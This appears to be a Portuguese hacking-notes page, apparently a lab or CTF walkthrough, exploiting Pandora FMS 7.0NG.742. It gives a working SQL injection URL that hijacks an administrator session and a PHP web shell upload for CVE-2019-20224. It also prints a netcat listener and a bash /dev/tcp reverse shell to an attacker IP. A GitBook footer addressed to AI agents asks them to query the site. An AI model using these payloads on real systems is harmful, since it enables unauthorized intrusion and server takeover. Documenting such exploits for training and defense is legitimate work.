> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/cms/pandora-cms-exploitation.md).

# Pandora

## Explorando o Pandora FMS - injeção SQL

### **Injeção SQL - Sequestro de Sessão de Administrador**

Este comando encaminha solicitações HTTP locais para o servidor web interno.

<figure><img src="/files/23a7f772a8596b93f6151996ca146c8b1946fab5" alt=""><figcaption></figcaption></figure>

Versão detectada: **v7.0NG.742/\_FIX/\_PERL2020**.

<figure><img src="/files/c4a9dd8e01fafe69ff38cf0de4c48e3446780931" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/shyam0904a/Pandora_v7.0NG.742_exploit_unauthenticated>" %}

Vulnerabilidade conhecida em `chart_generator.php` através da variável `session_id` variável:

<figure><img src="/files/f2eec13d6dabec93eb42a0387346c00e05b778d9" alt=""><figcaption></figcaption></figure>

```
http://127.0.0.1/pandora_console/include/chart_generator.php?session_id=1'
```

<figure><img src="/files/a0601696e566d8db34f9a86aedee2c0711f845de" alt=""><figcaption></figcaption></figure>

Execute a injeção SQL para sequestrar uma sessão de administrador:

<pre class="language-bash"><code class="lang-bash"><strong>http://127.0.0.1/pandora_console/include/chart_generator.php?session_id=%27%20union%20SELECT%201,2,%27id_usuario|s:5:%22admin%22;%27%20as%20data%20--%20SgGO
</strong></code></pre>

* Este comando retorna um cookie de sessão de administrador.

<figure><img src="/files/f61522c2d3c89dd2965cd2085485eb08b64ab89f" alt=""><figcaption></figcaption></figure>

Use o cookie para acessar o painel como administrador.

<figure><img src="/files/a6aaf8ca081db1a3ee802fcf5fa7acfe1991df3c" alt=""><figcaption></figcaption></figure>

### **Execução remota de código (RCE) - /\[CVE-2019-20224]**

Navegue até **Gerenciador de Arquivos**.

<figure><img src="/files/04c5e8170d11402e1aa97a98afd33fa1fcf90f23" alt=""><figcaption></figcaption></figure>

Envie um arquivo PHP malicioso:

<pre class="language-php"><code class="lang-php"><strong>&#x3C;?php system($_GET['cmd']); ?>
</strong></code></pre>

* O arquivo está acessível em `http://127.0.0.1/pandora_console/images/cmd.php`.

<figure><img src="/files/fd87206c4da6962eb3ffb2861808f1b60696d055" alt=""><figcaption></figcaption></figure>

Execute uma shell reversa:

* Inicie um listener local:

```bash
nc -nvlp 443
```

* Execução de comandos no servidor de destino:

```bash
bash -c "bash -i >%26 /dev/tcp/10.10.14.26/443 0>%261"
```

O acesso é obtido como usuário `matt`.

<figure><img src="/files/688163bc42585129680b7a13cddb306f051767b2" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/cms/pandora-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
